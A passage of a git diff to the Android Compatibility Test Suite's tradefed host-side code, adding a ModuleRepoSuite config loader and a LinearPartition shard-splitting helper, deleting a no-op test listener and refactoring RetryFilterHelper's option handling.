+            shortName = 't',
+            description = "the test to run.",
+            importance = Importance.IF_UNSET)
+    private String mTestName = null;
+
+    @Option(name = MODULE_ARG_OPTION,
+            description = "the arguments to pass to a module. The expected format is "
+                    + "\"<module-name>:<arg-name>:<arg-value>\"",
+            importance = Importance.ALWAYS)
+    private List<String> mModuleArgs = new ArrayList<>();
+
+    @Option(name = TEST_ARG_OPTION,
+            description = "the arguments to pass to a test. The expected format is "
+                    + "\"<test-class>:<arg-name>:<arg-value>\"",
+            importance = Importance.ALWAYS)
+    private List<String> mTestArgs = new ArrayList<>();
+
+    @Option(name = ABI_OPTION,
+            shortName = 'a',
+            description = "the abi to test.",
+            importance = Importance.IF_UNSET)
+    private String mAbiName = null;
+
+    @Option(name = SKIP_HOST_ARCH_CHECK,
+            description = "Whether host architecture check should be skipped")
+    private boolean mSkipHostArchCheck = false;
+
+    @Option(name = PRIMARY_ABI_RUN,
+            description = "Whether to run tests with only the device primary abi. "
+                    + "This override the --abi option.")
+    private boolean mPrimaryAbiRun = false;
+
+    private ModuleRepoSuite mModuleRepo = new ModuleRepoSuite();
+    private CompatibilityBuildHelper mBuildHelper;
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public LinkedHashMap<String, IConfiguration> loadTests() {
+        try {
+            setupFilters();
+            Set<IAbi> abis = getAbis(getDevice());
+            // Initialize the repository, {@link CompatibilityBuildHelper#getTestsDir} can
+            // throw a {@link FileNotFoundException}
+            return mModuleRepo.loadConfigs(mBuildHelper.getTestsDir(),
+                    abis, mTestArgs, mModuleArgs, mIncludeFilters,
+                    mExcludeFilters);
+        } catch (DeviceNotAvailableException | FileNotFoundException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        super.setBuild(buildInfo);
+        mBuildHelper = new CompatibilityBuildHelper(buildInfo);
+    }
+
+    /**
+     * Gets the set of ABIs supported by both Compatibility and the device under test
+     *
+     * @return The set of ABIs to run the tests on
+     * @throws DeviceNotAvailableException
+     */
+    Set<IAbi> getAbis(ITestDevice device) throws DeviceNotAvailableException {
+        Set<IAbi> abis = new LinkedHashSet<>();
+        Set<String> archAbis = getAbisForBuildTargetArch();
+        if (mPrimaryAbiRun) {
+            if (mAbiName == null) {
+                // Get the primary from the device and make it the --abi to run.
+                mAbiName = device.getProperty(PRODUCT_CPU_ABI_KEY).trim();
+            } else {
+                CLog.d("Option --%s supersedes the option --%s, using abi: %s", ABI_OPTION,
+                        PRIMARY_ABI_RUN, mAbiName);
+            }
+        }
+        if (mAbiName != null) {
+            // A particular abi was requested, it still needs to be supported by the build.
+            if ((!mSkipHostArchCheck && !archAbis.contains(mAbiName)) ||
+                    !AbiUtils.isAbiSupportedByCompatibility(mAbiName)) {
+                throw new IllegalArgumentException(String.format("Your CTS hasn't been built with "
+                        + "abi '%s' support, this CTS currently supports '%s'.",
+                        mAbiName, archAbis));
+            } else {
+                abis.add(new Abi(mAbiName, AbiUtils.getBitness(mAbiName)));
+                return abis;
+            }
+        } else {
+            // Run on all abi in common between the device and CTS.
+            List<String> deviceAbis = Arrays.asList(AbiFormatter.getSupportedAbis(device, ""));
+            for (String abi : deviceAbis) {
+                if ((mSkipHostArchCheck || archAbis.contains(abi)) &&
+                        AbiUtils.isAbiSupportedByCompatibility(abi)) {
+                    abis.add(new Abi(abi, AbiUtils.getBitness(abi)));
+                } else {
+                    CLog.d("abi '%s' is supported by device but not by this CTS build (%s), tests "
+                            + "will not run against it.", abi, archAbis);
+                }
+            }
+            if (abis.isEmpty()) {
+                throw new IllegalArgumentException(String.format("None of the abi supported by this"
+                       + " CTS build ('%s') are supported by the device ('%s').",
+                       archAbis, deviceAbis));
+            }
+            return abis;
+        }
+    }
+
+    /**
+     * Return the abis supported by the Host build target architecture.
+     * Exposed for testing.
+     */
+    protected Set<String> getAbisForBuildTargetArch() {
+        return AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+    }
+
+    /**
+     * Sets the include/exclude filters up based on if a module name was given or whether this is a
+     * retry run.
+     */
+    void setupFilters() throws FileNotFoundException {
+        if (mSubPlan != null) {
+            try {
+                File subPlanFile = new File(mBuildHelper.getSubPlansDir(), mSubPlan + ".xml");
+                if (!subPlanFile.exists()) {
+                    throw new IllegalArgumentException(
+                            String.format("Could not retrieve subplan \"%s\"", mSubPlan));
+                }
+                InputStream subPlanInputStream = new FileInputStream(subPlanFile);
+                ISubPlan subPlan = new SubPlan();
+                subPlan.parse(subPlanInputStream);
+                mIncludeFilters.addAll(subPlan.getIncludeFilters());
+                mExcludeFilters.addAll(subPlan.getExcludeFilters());
+            } catch (ParseException e) {
+                throw new RuntimeException(
+                        String.format("Unable to find or parse subplan %s", mSubPlan), e);
+            }
+        }
+        if (mModuleName != null) {
+            List<String> modules = ModuleRepo.getModuleNamesMatching(
+                    mBuildHelper.getTestsDir(), mModuleName);
+            if (modules.size() == 0) {
+                throw new IllegalArgumentException(
+                        String.format("No modules found matching %s", mModuleName));
+            } else if (modules.size() > 1) {
+                throw new IllegalArgumentException(String.format(
+                        "Multiple modules found matching %s:\n%s\nWhich one did you mean?\n",
+                        mModuleName, ArrayUtil.join("\n", modules)));
+            } else {
+                String moduleName = modules.get(0);
+                checkFilters(mIncludeFilters, moduleName);
+                checkFilters(mExcludeFilters, moduleName);
+                mIncludeFilters.add(new TestFilter(mAbiName, moduleName, mTestName).toString());
+            }
+        } else if (mTestName != null) {
+            throw new IllegalArgumentException(
+                    "Test name given without module name. Add --module <module-name>");
+        }
+    }
+
+    /* Helper method designed to remove filters in a list not applicable to the given module */
+    private static void checkFilters(Set<String> filters, String moduleName) {
+        Set<String> cleanedFilters = new HashSet<String>();
+        for (String filter : filters) {
+            if (moduleName.equals(TestFilter.createFrom(filter).getName())) {
+                cleanedFilters.add(filter); // Module name matches, filter passes
+            }
+        }
+        filters.clear();
+        filters.addAll(cleanedFilters);
+    }
+}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuite.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuite.java
new file mode 100644
index 0000000..6b697d1
--- /dev/null
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuite.java
@@ -0,0 +1,299 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.testtype.suite;
+
+import com.android.compatibility.common.util.TestFilter;
+import com.android.tradefed.config.ConfigurationException;
+import com.android.tradefed.config.ConfigurationFactory;
+import com.android.tradefed.config.IConfiguration;
+import com.android.tradefed.config.IConfigurationFactory;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.targetprep.ITargetPreparer;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.testtype.IAbiReceiver;
+import com.android.tradefed.testtype.IRemoteTest;
+import com.android.tradefed.testtype.ITestFileFilterReceiver;
+import com.android.tradefed.testtype.ITestFilterReceiver;
+import com.android.tradefed.util.AbiUtils;
+import com.android.tradefed.util.FileUtil;
+import com.android.tradefed.util.StreamUtil;
+
+import java.io.File;
+import java.io.FilenameFilter;
+import java.io.IOException;
+import java.io.PrintWriter;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+/**
+ * Retrieves Compatibility test module definitions from the repository.
+ */
+public class ModuleRepoSuite {
+
+    private static final String CONFIG_EXT = ".config";
+    private Map<String, Map<String, List<String>>> mTestArgs = new HashMap<>();
+    private Map<String, Map<String, List<String>>> mModuleArgs = new HashMap<>();
+    private boolean mIncludeAll;
+    private Map<String, List<TestFilter>> mIncludeFilters = new HashMap<>();
+    private Map<String, List<TestFilter>> mExcludeFilters = new HashMap<>();
+    private IConfigurationFactory mConfigFactory = ConfigurationFactory.getInstance();
+
+    /**
+     * Main loading of configurations, looking into testcases/ folder
+     */
+    public LinkedHashMap<String, IConfiguration> loadConfigs(File testsDir, Set<IAbi> abis,
+            List<String> testArgs, List<String> moduleArgs,
+            Set<String> includeFilters, Set<String> excludeFilters) {
+        CLog.d("Initializing ModuleRepo\nTests Dir:%s\nABIs:%s\n" +
+                "Test Args:%s\nModule Args:%s\nIncludes:%s\nExcludes:%s",
+                testsDir.getAbsolutePath(), abis, testArgs, moduleArgs,
+                includeFilters, excludeFilters);
+
+        LinkedHashMap<String, IConfiguration> toRun = new LinkedHashMap<>();
+
+        putArgs(testArgs, mTestArgs);
+        putArgs(moduleArgs, mModuleArgs);
+        mIncludeAll = includeFilters.isEmpty();
+        // Include all the inclusions
+        addFilters(includeFilters, mIncludeFilters, abis);
+        // Exclude all the exclusions
+        addFilters(excludeFilters, mExcludeFilters, abis);
+
+        File[] configFiles = testsDir.listFiles(new ConfigFilter());
+        if (configFiles.length == 0) {
+            throw new IllegalArgumentException(
+                    String.format("No config files found in %s", testsDir.getAbsolutePath()));
+        }
+        for (File configFile : configFiles) {
+            final String name = configFile.getName().replace(CONFIG_EXT, "");
+            final String[] pathArg = new String[] { configFile.getAbsolutePath() };
+            try {
+                // Invokes parser to process the test module config file
+                // Need to generate a different config for each ABI as we cannot guarantee the
+                // configs are idempotent. This however means we parse the same file multiple times
+                for (IAbi abi : abis) {
+                    String id = AbiUtils.createId(abi.getName(), name);
+                    if (!shouldRunModule(id)) {
+                        // If the module should not run tests based on the state of filters,
+                        // skip this name/abi combination.
+                        continue;
+                    }
+                    IConfiguration config = mConfigFactory.createConfigurationFromArgs(pathArg);
+                    Map<String, List<String>> args = new HashMap<>();
+                    if (mModuleArgs.containsKey(name)) {
+                        args.putAll(mModuleArgs.get(name));
+                    }
+                    if (mModuleArgs.containsKey(id)) {
+                        args.putAll(mModuleArgs.get(id));
+                    }
+                    for (Entry<String, List<String>> entry : args.entrySet()) {
+                        for (String value : entry.getValue()) {
+                            // Collection-type options can be injected with multiple values
+                            config.injectOptionValue(entry.getKey(), value);
+                        }
+                    }
+
+                    List<IRemoteTest> tests = config.getTests();
+                    for (IRemoteTest test : tests) {
+                        String className = test.getClass().getName();
+                        Map<String, List<String>> testArgsMap = new HashMap<>();
+                        if (mTestArgs.containsKey(className)) {
+                            testArgsMap.putAll(mTestArgs.get(className));
+                        }
+                        for (Entry<String, List<String>> entry : testArgsMap.entrySet()) {
+                            for (String value : entry.getValue()) {
+                                config.injectOptionValue(entry.getKey(), value);
+                            }
+                        }
+                        addFiltersToTest(test, abi, name);
+                        if (test instanceof IAbiReceiver) {
+                            ((IAbiReceiver)test).setAbi(abi);
+                        }
+                    }
+                    List<ITargetPreparer> preparers = config.getTargetPreparers();
+                    for (ITargetPreparer preparer : preparers) {
+                        if (preparer instanceof IAbiReceiver) {
+                            ((IAbiReceiver)preparer).setAbi(abi);
+                        }
+                    }
+                    toRun.put(id, config);
+                }
+            } catch (ConfigurationException e) {
+                throw new RuntimeException(String.format("Error parsing config file: %s",
+                        configFile.getName()), e);
+            }
+        }
+        return toRun;
+    }
+
+    private void addFilters(Set<String> stringFilters,
+            Map<String, List<TestFilter>> filters, Set<IAbi> abis) {
+        for (String filterString : stringFilters) {
+            TestFilter filter = TestFilter.createFrom(filterString);
+            String abi = filter.getAbi();
+            if (abi == null) {
+                for (IAbi a : abis) {
+                    addFilter(a.getName(), filter, filters);
+                }
+            } else {
+                addFilter(abi, filter, filters);
+            }
+        }
+    }
+
+    private void addFilter(String abi, TestFilter filter,
+            Map<String, List<TestFilter>> filters) {
+        getFilterList(filters, AbiUtils.createId(abi, filter.getName())).add(filter);
+    }
+
+    private List<TestFilter> getFilterList(Map<String, List<TestFilter>> filters, String id) {
+        List<TestFilter> fs = filters.get(id);
+        if (fs == null) {
+            fs = new ArrayList<>();
+            filters.put(id, fs);
+        }
+        return fs;
+    }
+
+    private void addFiltersToTest(IRemoteTest test, IAbi abi, String name) {
+        String moduleId = AbiUtils.createId(abi.getName(), name);
+        if (!(test instanceof ITestFilterReceiver)) {
+            throw new IllegalArgumentException(String.format(
+                    "Test in module %s must implement ITestFilterReceiver.", moduleId));
+        }
+        List<TestFilter> mdIncludes = getFilterList(mIncludeFilters, moduleId);
+        List<TestFilter> mdExcludes = getFilterList(mExcludeFilters, moduleId);
+        if (!mdIncludes.isEmpty()) {
+            addTestIncludes((ITestFilterReceiver) test, mdIncludes, name);
+        }
+        if (!mdExcludes.isEmpty()) {
+            addTestExcludes((ITestFilterReceiver) test, mdExcludes, name);
+        }
+    }
+
+    private boolean shouldRunModule(String moduleId) {
+        List<TestFilter> mdIncludes = getFilterList(mIncludeFilters, moduleId);
+        List<TestFilter> mdExcludes = getFilterList(mExcludeFilters, moduleId);
+        // if including all modules or includes exist for this module, and there are not excludes
+        // for the entire module, this module should be run.
+        return (mIncludeAll || !mdIncludes.isEmpty()) && !containsModuleExclude(mdExcludes);
+    }
+
+    private void addTestIncludes(ITestFilterReceiver test, List<TestFilter> includes,
+            String name) {
+        if (test instanceof ITestFileFilterReceiver) {
+            File includeFile = createFilterFile(name, ".include", includes);
+            ((ITestFileFilterReceiver)test).setIncludeTestFile(includeFile);
+        } else {
+            // add test includes one at a time
+            for (TestFilter include : includes) {
+                String filterTestName = include.getTest();
+                if (filterTestName != null) {
+                    test.addIncludeFilter(filterTestName);
+                }
+            }
+        }
+    }
+
+    private void addTestExcludes(ITestFilterReceiver test, List<TestFilter> excludes,
+            String name) {
+        if (test instanceof ITestFileFilterReceiver) {
+            File excludeFile = createFilterFile(name, ".exclude", excludes);
+            ((ITestFileFilterReceiver)test).setExcludeTestFile(excludeFile);
+        } else {
+            // add test excludes one at a time
+            for (TestFilter exclude : excludes) {
+                test.addExcludeFilter(exclude.getTest());
+            }
+        }
+    }
+
+    private File createFilterFile(String prefix, String suffix, List<TestFilter> filters) {
+        File filterFile = null;
+        PrintWriter out = null;
+        try {
+            filterFile = FileUtil.createTempFile(prefix, suffix);
+            out = new PrintWriter(filterFile);
+            for (TestFilter filter : filters) {
+                String filterTest = filter.getTest();
+                if (filterTest != null) {
+                    out.println(filterTest);
+                }
+            }
+            out.flush();
+        } catch (IOException e) {
+            throw new RuntimeException("Failed to create filter file");
+        } finally {
+            StreamUtil.close(out);
+        }
+        filterFile.deleteOnExit();
+        return filterFile;
+    }
+
+    /**
+     * Returns true iff one or more test filters in excludes apply to the entire module.
+     */
+    private boolean containsModuleExclude(Collection<TestFilter> excludes) {
+        for (TestFilter exclude : excludes) {
+            if (exclude.getTest() == null) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /**
+     * A {@link FilenameFilter} to find all the config files in a directory.
+     */
+    public static class ConfigFilter implements FilenameFilter {
+
+        /**
+         * {@inheritDoc}
+         */
+        @Override
+        public boolean accept(File dir, String name) {
+            CLog.d("%s/%s", dir.getAbsolutePath(), name);
+            return name.endsWith(CONFIG_EXT);
+        }
+    }
+
+    private static void putArgs(List<String> args,
+            Map<String, Map<String, List<String>>> argsMap) {
+        for (String arg : args) {
+            String[] parts = arg.split(":");
+            String target = parts[0];
+            String key = parts[1];
+            String value = parts[2];
+            Map<String, List<String>> map = argsMap.get(target);
+            if (map == null) {
+                map = new HashMap<>();
+                argsMap.put(target, map);
+            }
+            List<String> valueList = map.get(key);
+            if (valueList == null) {
+                valueList = new ArrayList<>();
+                map.put(key, valueList);
+            }
+            valueList.add(value);
+        }
+    }
+}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/CollectorUtil.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/CollectorUtil.java
index 1321f22..2390d9e 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/CollectorUtil.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/CollectorUtil.java
@@ -16,6 +16,8 @@
 
 package com.android.compatibility.common.tradefed.util;
 
+import com.android.compatibility.common.tradefed.targetprep.DeviceInfoCollector;
+import com.android.compatibility.common.tradefed.targetprep.ReportLogCollector;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
@@ -34,7 +36,7 @@
 import java.util.regex.Pattern;
 
 /**
- * Util class for {@link ReportLogCollector} and {@link DeviceInfoCollector}.
+ * Utility class for {@link ReportLogCollector} and {@link DeviceInfoCollector}.
  */
 public class CollectorUtil {
 
@@ -137,7 +139,7 @@
      * Helper function to reformat JSON string.
      *
      * @param jsonString
-     * @return
+     * @return the reformatted JSON string.
      */
     public static String reformatJsonString(String jsonString) {
         StringBuilder newJsonBuilder = new StringBuilder();
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/LinearPartition.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/LinearPartition.java
new file mode 100644
index 0000000..df91e57
--- /dev/null
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/LinearPartition.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.util;
+
+import com.android.compatibility.common.tradefed.testtype.IModuleDef;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Helper for the shard splitting. Split linearly a list into N sublist with
+ * approximately the same weight.
+ * TODO: Can be generalized for any weighted objects.
+ */
+public class LinearPartition {
+
+    /**
+     * Split a list of {@link IModuleDef} into k sub list based on the runtime hint.
+     *
+     * @param seq the full list of {@link IModuleDef} to be splitted
+     * @param k the number of sub list we need.
+     * @return the List of sublist.
+     */
+    public static List<List<IModuleDef>> split(List<IModuleDef> seq, int k) {
+        ArrayList<List<IModuleDef>> result = new ArrayList<>();
+
+        if (k <= 0) {
+            ArrayList<IModuleDef> partition = new ArrayList<>();
+            partition.addAll(seq);
+            result.add(partition);
+            return result;
+        }
+
+        int n = seq.size() - 1;
+
+        if (k > n) {
+            for (IModuleDef value : seq) {
+                ArrayList<IModuleDef> partition = new ArrayList<>();
+                partition.add(value);
+                result.add(partition);
+            }
+            return result;
+        }
+
+        int[][] table = buildPartitionTable(seq, k);
+        k = k - 2;
+
+        while (k >= 0) {
+            ArrayList<IModuleDef> partition = new ArrayList<>();
+
+            for (int i = table[n - 1][k] + 1; i < n + 1; i++) {
+                partition.add(seq.get(i));
+            }
+
+            result.add(0, partition);
+            n = table[n - 1][k];
+            k = k - 1;
+        }
+
+        ArrayList<IModuleDef> partition = new ArrayList<>();
+
+        for (int i = 0; i < n + 1; i++) {
+            partition.add(seq.get(i));
+        }
+
+        result.add(0, partition);
+
+        return result;
+    }
+
+    /**
+     * Internal helper to build the partition table of the linear distribution used for splitting.
+     */
+    private static int[][] buildPartitionTable(List<IModuleDef> seq, int k) {
+        int n = seq.size();
+        float[][] table = new float[n][k];
+        int[][] solution = new int[n - 1][k - 1];
+
+        for (int i = 0; i < n; i++) {
+            table[i][0] = seq.get(i).getRuntimeHint() + ((i > 0) ? (table[i - 1][0]) : 0);
+        }
+
+        for (int j = 0; j < k; j++) {
+            table[0][j] = seq.get(0).getRuntimeHint();
+        }
+
+        for (int i = 1; i < n; i++) {
+            for (int j = 1; j < k; j++) {
+                table[i][j] = Integer.MAX_VALUE;
+                for (int x = 0; x < i; x++) {
+                    float cost = Math.max(table[x][j - 1], table[i][0] - table[x][0]);
+                    if (table[i][j] > cost) {
+                        table[i][j] = cost;
+                        solution[i - 1][j - 1] = x;
+                    }
+                }
+            }
+        }
+
+        return solution;
+    }
+}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/NoOpTestInvocationListener.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/NoOpTestInvocationListener.java
deleted file mode 100644
index 06f493d..0000000
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/NoOpTestInvocationListener.java
+++ /dev/null
@@ -1,120 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.tradefed.util;
-
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.ddmlib.testrunner.ITestRunListener;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.result.InputStreamSource;
-import com.android.tradefed.result.LogDataType;
-import com.android.tradefed.result.ITestInvocationListener;
-import com.android.tradefed.result.TestSummary;
-
-import java.util.Map;
-
-/**
- * Implementation of ITestInvocationListener that does nothing or returns null for all methods.
- * Extend this class to implement some, but not all methods of ITestInvocationListener.
- */
-public class NoOpTestInvocationListener implements ITestInvocationListener {
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void invocationStarted(IBuildInfo buildInfo) {}
-
-     /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testLog(String dataName, LogDataType dataType, InputStreamSource dataStream) {}
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void invocationEnded(long elapsedTime) {}
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void invocationFailed(Throwable cause) {}
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public TestSummary getSummary() {
-        return null;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testRunStarted(String runName, int testCount) {}
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testStarted(TestIdentifier test) {}
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testFailed(TestIdentifier test, String trace) {}
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testAssumptionFailure(TestIdentifier test, String trace) {}
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testIgnored(TestIdentifier test) {}
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testEnded(TestIdentifier test, Map<String, String> testMetrics) {}
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testRunFailed(String errorMessage) {}
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testRunStopped(long elapsedTime) {}
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testRunEnded(long elapsedTime, Map<String, String> runMetrics) {}
-
-}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/RetryFilterHelper.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/RetryFilterHelper.java
index 4ff3953..7f527db 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/RetryFilterHelper.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/RetryFilterHelper.java
@@ -18,24 +18,20 @@
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.compatibility.common.tradefed.result.SubPlanHelper;
-import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
-import com.android.compatibility.common.tradefed.testtype.ModuleRepo;
 import com.android.compatibility.common.tradefed.testtype.ISubPlan;
+import com.android.compatibility.common.tradefed.testtype.ModuleRepo;
 import com.android.compatibility.common.util.IInvocationResult;
 import com.android.compatibility.common.util.LightInvocationResult;
 import com.android.compatibility.common.util.ResultHandler;
 import com.android.compatibility.common.util.TestFilter;
 import com.android.tradefed.config.ArgsOptionParser;
 import com.android.tradefed.config.ConfigurationException;
-import com.android.tradefed.config.Option;
-import com.android.tradefed.config.Option.Importance;
-import com.android.tradefed.config.OptionCopier;
-import com.android.tradefed.config.OptionSetter;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.util.ArrayUtil;
 
+import com.google.common.annotations.VisibleForTesting;
+
 import java.io.FileNotFoundException;
 import java.util.HashSet;
 import java.util.List;
@@ -46,44 +42,12 @@
  */
 public class RetryFilterHelper {
 
-    @Option(name = CompatibilityTest.SUBPLAN_OPTION,
-            description = "the subplan to run",
-            importance = Importance.IF_UNSET)
     protected String mSubPlan;
-
-    @Option(name = CompatibilityTest.INCLUDE_FILTER_OPTION,
-            description = "the include module filters to apply.",
-            importance = Importance.ALWAYS)
     protected Set<String> mIncludeFilters = new HashSet<>();
-
-    @Option(name = CompatibilityTest.EXCLUDE_FILTER_OPTION,
-            description = "the exclude module filters to apply.",
-            importance = Importance.ALWAYS)
     protected Set<String> mExcludeFilters = new HashSet<>();
-
-    @Option(name = CompatibilityTest.ABI_OPTION,
-            shortName = 'a',
-            description = "the abi to test.",
-            importance = Importance.IF_UNSET)
     protected String mAbiName = null;
-
-    @Option(name = CompatibilityTest.MODULE_OPTION,
-            shortName = 'm',
-            description = "the test module to run.",
-            importance = Importance.IF_UNSET)
     protected String mModuleName = null;
-
-    @Option(name = CompatibilityTest.TEST_OPTION,
-            shortName = CompatibilityTest.TEST_OPTION_SHORT_NAME,
-            description = "the test run.",
-            importance = Importance.IF_UNSET)
     protected String mTestName = null;
-
-    @Option(name = CompatibilityTest.RETRY_TYPE_OPTION,
-            description = "used with " + CompatibilityTest.RETRY_OPTION
-            + ", retry tests of a certain status. Possible values include \"failed\", "
-            + "\"not_executed\", and \"custom\".",
-            importance = Importance.IF_UNSET)
     protected RetryType mRetryType = null;
 
     /* Instance variables handy for retreiving the result to be retried */
@@ -94,6 +58,8 @@
     private Set<String> mRetryIncludes;
     private Set<String> mRetryExcludes;
 
+    public RetryFilterHelper() {}
+
     /**
      * Constructor for a {@link RetryFilterHelper}. Requires a CompatibilityBuildHelper for
      * retrieving previous sessions and the ID of the session to retry.
@@ -104,6 +70,32 @@
     }
 
     /**
+     * Constructor for a {@link RetryFilterHelper}.
+     *
+     * @param build a {@link CompatibilityBuildHelper} describing the build.
+     * @param sessionId The ID of the session to retry.
+     * @param subPlan The name of a subPlan to be used. Can be null.
+     * @param includeFilters The include module filters to apply
+     * @param excludeFilters The exclude module filters to apply
+     * @param abiName The name of abi to use. Can be null.
+     * @param moduleName The name of the module to run. Can be null.
+     * @param testName The name of the test to run. Can be null.
+     * @param retryType The type of results to retry. Can be null.
+     */
+    public RetryFilterHelper(CompatibilityBuildHelper build, int sessionId, String subPlan,
+            Set<String> includeFilters, Set<String> excludeFilters, String abiName,
+            String moduleName, String testName, RetryType retryType) {
+        this(build, sessionId);
+        mSubPlan = subPlan;
+        mIncludeFilters.addAll(includeFilters);
+        mExcludeFilters.addAll(excludeFilters);
+        mAbiName = abiName;
+        mModuleName = moduleName;
+        mTestName = testName;
+        mRetryType = retryType;
+    }
+
+    /**
      * Throws an {@link IllegalArgumentException} if the device build fingerprint doesn't match
      * the fingerprint recorded in the previous session's result.
      */
@@ -120,18 +112,16 @@
     /**
      * Copy all applicable options from an input object to this instance of RetryFilterHelper.
      */
-    public void setAllOptionsFrom(Object obj) {
+    @VisibleForTesting
+    void setAllOptionsFrom(RetryFilterHelper obj) {
         clearOptions(); // Remove existing options first
-        OptionCopier.copyOptionsNoThrow(obj, this);
-    }
-
-    /**
-     * Set a single option on this instance of RetryFilterHelper
-     * @throws {@link ConfigurationException} if the option cannot be set.
-     */
-    public void setOption(String option, String value) throws ConfigurationException {
-        OptionSetter setter = new OptionSetter(this);
-        setter.setOptionValue(option, value);
+        mSubPlan = obj.mSubPlan;
+        mIncludeFilters.addAll(obj.mIncludeFilters);
+        mExcludeFilters.addAll(obj.mExcludeFilters);
+        mAbiName = obj.mAbiName;
+        mModuleName = obj.mModuleName;
+        mTestName = obj.mTestName;
+        mRetryType = obj.mRetryType;
     }
 
     /**
@@ -139,8 +129,8 @@
      */
     public void clearOptions() {
         mSubPlan = null;
-        mIncludeFilters = new HashSet<>();
-        mExcludeFilters = new HashSet<>();
+        mIncludeFilters.clear();
+        mExcludeFilters.clear();
         mModuleName = null;
         mTestName = null;
         mRetryType = null;
@@ -223,7 +213,7 @@
     /* Generation of filters based on previous sessions is implemented thoroughly in SubPlanHelper,
      * and retry filter generation is just a subset of the use cases for the subplan retry logic.
      * Use retry type to determine which result types SubPlanHelper targets. */
-    private void populateFiltersBySubPlan() {
+    public void populateFiltersBySubPlan() {
         SubPlanHelper retryPlanCreator = new SubPlanHelper();
         retryPlanCreator.setResult(getResult());
         if (RetryType.FAILED.equals(mRetryType)) {
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/UniqueModuleCountUtil.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/UniqueModuleCountUtil.java
new file mode 100644
index 0000000..e801ab3
--- /dev/null
